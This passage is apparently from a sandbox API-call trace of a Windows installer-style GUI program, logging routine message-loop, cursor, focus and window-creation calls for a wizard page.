[0270.071] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24d0334) returned 0x1 [0270.072] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.072] GetCurrentProcessId () returned 0x8d0 [0270.072] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.072] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.072] GetCapture () returned 0x0 [0270.072] WaitMessage () returned 1 [0270.081] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.081] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.081] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=830, y=592)) returned 1 [0270.081] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0270.081] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.082] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0270.082] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.082] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.082] GetCapture () returned 0x0 [0270.082] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0270.082] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.082] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.082] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0270.082] GetCurrentProcessId () returned 0x8d0 [0270.082] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.082] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0270.082] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x40020) returned 0x0 [0270.082] GetKeyState (nVirtKey=18) returned 1 [0270.082] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.082] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.082] WindowFromPoint (Point=0x33d) returned 0x10340 [0270.082] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24d033d) returned 0x1 [0270.082] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.083] GetCurrentProcessId () returned 0x8d0 [0270.083] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.083] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.083] GetCapture () returned 0x0 [0270.083] WaitMessage () returned 1 [0270.083] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.083] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.083] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.083] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.084] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.084] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.084] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.084] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.084] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.084] GetCurrentProcessId () returned 0x8d0 [0270.084] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.084] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.084] GetCapture () returned 0x0 [0270.084] WaitMessage () returned 1 [0270.098] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.098] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.098] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.099] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.099] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.099] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.099] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.099] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.099] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.099] GetCurrentProcessId () returned 0x8d0 [0270.099] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.099] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.099] GetCapture () returned 0x0 [0270.100] WaitMessage () returned 1 [0270.114] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.114] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.114] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.114] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.115] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.115] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.115] WindowFromPoint (Point=0x340) returned 0x10340 [0270.115] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24e0340) returned 0x1 [0270.115] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.115] GetCurrentProcessId () returned 0x8d0 [0270.115] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.115] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.115] GetCapture () returned 0x0 [0270.115] WaitMessage () returned 1 [0270.146] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.146] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.146] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.147] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.147] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.147] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.147] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.147] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.147] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.147] GetCurrentProcessId () returned 0x8d0 [0270.147] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.147] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.147] GetCapture () returned 0x0 [0270.147] WaitMessage () returned 1 [0270.161] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.161] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.161] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.161] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.162] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.162] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.162] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.162] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24f033e) returned 0x1 [0270.162] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.162] GetCurrentProcessId () returned 0x8d0 [0270.162] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.162] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.162] GetCapture () returned 0x0 [0270.162] WaitMessage () returned 1 [0270.176] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.176] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.177] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.177] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.177] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.177] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.177] WindowFromPoint (Point=0x32c) returned 0xc0060 [0270.177] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x247032c) returned 0x1 [0270.177] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.177] GetCurrentProcessId () returned 0x8d0 [0270.178] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0270.178] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.178] PtInRect (lprc=0x18fed0, pt=0x155) returned 0 [0270.178] GetCapture () returned 0x0 [0270.178] WaitMessage () returned 1 [0270.208] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.208] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.208] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.208] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.208] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.208] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.208] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.208] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.209] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.209] GetCurrentProcessId () returned 0x8d0 [0270.209] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.209] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.209] GetCapture () returned 0x0 [0270.209] WaitMessage () returned 1 [0270.224] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.225] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.225] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.225] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.225] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.225] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.225] WindowFromPoint (Point=0x33c) returned 0x10340 [0270.225] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033c) returned 0x1 [0270.225] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.225] GetCurrentProcessId () returned 0x8d0 [0270.225] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.225] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.226] GetCapture () returned 0x0 [0270.226] WaitMessage () returned 1 [0270.239] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.239] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.239] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.239] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.240] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.240] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.240] WindowFromPoint (Point=0x33e) returned 0x10340 [0270.240] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.240] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.240] GetCurrentProcessId () returned 0x8d0 [0270.240] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.240] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.240] GetCapture () returned 0x0 [0270.240] WaitMessage () returned 1 [0270.287] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.287] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.287] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.287] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0270.287] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0270.287] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=830, y=592)) returned 1 [0270.287] WindowFromPoint (Point=0x340) returned 0x10340 [0270.287] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24d0340) returned 0x1 [0270.288] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0270.288] GetCurrentProcessId () returned 0x8d0 [0270.288] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.288] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0270.288] GetCapture () returned 0x0 [0270.288] WaitMessage () returned 1 [0270.314] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.314] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033e) returned 0x1 [0270.315] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x210, wParam=0x201, lParam=0x14b0167) returned 0x0 [0270.315] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0270.315] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0270.315] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=830, y=592)) returned 1 [0270.315] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0270.315] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0270.315] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0270.315] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.315] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.315] GetFocus () returned 0x1034c [0270.315] SetFocus (hWnd=0x10340) returned 0x1034c [0270.315] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x0 [0270.316] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x1034c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0270.317] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0270.318] SendMessageA (hWnd=0x1034c, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0270.318] SendMessageA (hWnd=0x20320, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0270.318] SendMessageA (hWnd=0x40338, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0270.318] SendMessageA (hWnd=0xb0168, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0270.318] SendMessageA (hWnd=0x60050, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0270.318] SendMessageA (hWnd=0x10340, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0270.318] GetClientRect (in: hWnd=0x10340, lpRect=0x18fb64 | out: lpRect=0x18fb64) returned 1 [0270.318] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0270.318] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0270.318] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0270.318] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0270.318] IsIconic (hWnd=0xc0060) returned 0 [0270.318] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0270.318] IsIconic (hWnd=0xc0060) returned 0 [0270.318] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0270.318] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0270.318] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0270.318] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0270.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x1034c, lParam=0x0) returned 0x0 [0270.319] GetFocus () returned 0x10340 [0270.319] GetCapture () returned 0x0 [0270.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb004, wParam=0x0, lParam=0x2c86b08) returned 0x0 [0270.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x201, wParam=0x1, lParam=0x40020) returned 0x0 [0270.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0270.319] GetKeyState (nVirtKey=18) returned 1 [0270.319] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0270.319] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0270.319] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0270.319] GetCapture () returned 0x10340 [0270.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x202, wParam=0x0, lParam=0x40020) returned 0x0 [0270.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0270.319] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0270.319] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f9c0 | out: lpdwProcessId=0x18f9c0) returned 0x8cc [0270.319] GetCurrentProcessId () returned 0x8d0 [0270.319] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0270.321] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0270.321] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18f810 | out: lpWndClass=0x18f810) returned 1 [0270.322] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=417, nHeight=237, hWndParent=0x40338, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x1035a [0270.322] SetWindowLongA (hWnd=0x1035a, nIndex=-4, dwNewLong=2297605) returned 4274892 [0270.323] GetWindowLongA (hWnd=0x1035a, nIndex=-16) returned 1174405120 [0270.323] GetWindowLongA (hWnd=0x1035a, nIndex=-12) returned 0 [0270.323] SetWindowLongA (hWnd=0x1035a, nIndex=-12, dwNewLong=66394) returned 0 [0270.323] SetPropA (hWnd=0x1035a, lpString=0xc167, hData=0x2c74598) returned 1 [0270.323] SetPropA (hWnd=0x1035a, lpString=0xc168, hData=0x2c74598) returned 1 [0270.323] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x81, wParam=0x0, lParam=0x18f368) returned 0x1 [0270.323] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x83, wParam=0x0, lParam=0x18f354) returned 0x0 [0270.323] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x1, wParam=0x0, lParam=0x18f368) returned 0x0 [0270.323] IsIconic (hWnd=0x1035a) returned 0 [0270.324] GetWindowRect (in: hWnd=0x1035a, lpRect=0x18f168 | out: lpRect=0x18f168) returned 1 [0270.324] GetWindowLongA (hWnd=0x1035a, nIndex=-16) returned 1174405120 [0270.324] GetWindowLongA (hWnd=0x1035a, nIndex=-8) returned 262968 [0270.324] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f168 | out: lpPoint=0x18f168) returned 1 [0270.324] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f170 | out: lpPoint=0x18f170) returned 1 [0270.324] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0270.324] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f194 | out: lpRect=0x18f194) returned 1 [0270.324] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0270.324] IsIconic (hWnd=0x1035a) returned 0 [0270.324] GetWindowRect (in: hWnd=0x1035a, lpRect=0x18f16c | out: lpRect=0x18f16c) returned 1 [0270.324] GetWindowLongA (hWnd=0x1035a, nIndex=-16) returned 1174405120 [0270.324] GetWindowLongA (hWnd=0x1035a, nIndex=-8) returned 262968 [0270.324] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f16c | out: lpPoint=0x18f16c) returned 1 [0270.324] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f174 | out: lpPoint=0x18f174) returned 1 [0270.324] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18f190 | out: lpdwProcessId=0x18f190) returned 0x8cc [0270.324] GetCurrentProcessId () returned 0x8d0 [0270.324] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0270.324] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0xbe10, wParam=0x35a0001, lParam=0x1035a) returned 0x0 [0270.324] IsIconic (hWnd=0x1035a) returned 0 [0270.324] GetWindowRect (in: hWnd=0x1035a, lpRect=0x18f738 | out: lpRect=0x18f738) returned 1 [0270.324] GetWindowLongA (hWnd=0x1035a, nIndex=-16) returned 1174405120 [0270.324] GetWindowLongA (hWnd=0x1035a, nIndex=-8) returned 262968 [0270.324] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f738 | out: lpPoint=0x18f738) returned 1 [0270.324] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f740 | out: lpPoint=0x18f740) returned 1 [0270.324] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0270.324] SetPropA (hWnd=0x1035a, lpString=0xc167, hData=0x2c74598) returned 1 [0270.324] SetPropA (hWnd=0x1035a, lpString=0xc168, hData=0x2c74598) returned 1 [0270.324] SetWindowPos (hWnd=0x1035a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0270.325] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x46, wParam=0x0, lParam=0x18f7fc) returned 0x0 [0270.325] IsIconic (hWnd=0x1035a) returned 0 [0270.325] GetWindowRect (in: hWnd=0x1035a, lpRect=0x18f5c8 | out: lpRect=0x18f5c8) returned 1 [0270.325] GetWindowLongA (hWnd=0x1035a, nIndex=-16) returned 1174405120 [0270.325] GetWindowLongA (hWnd=0x1035a, nIndex=-8) returned 262968 [0270.325] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f5c8 | out: lpPoint=0x18f5c8) returned 1 [0270.325] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f5d0 | out: 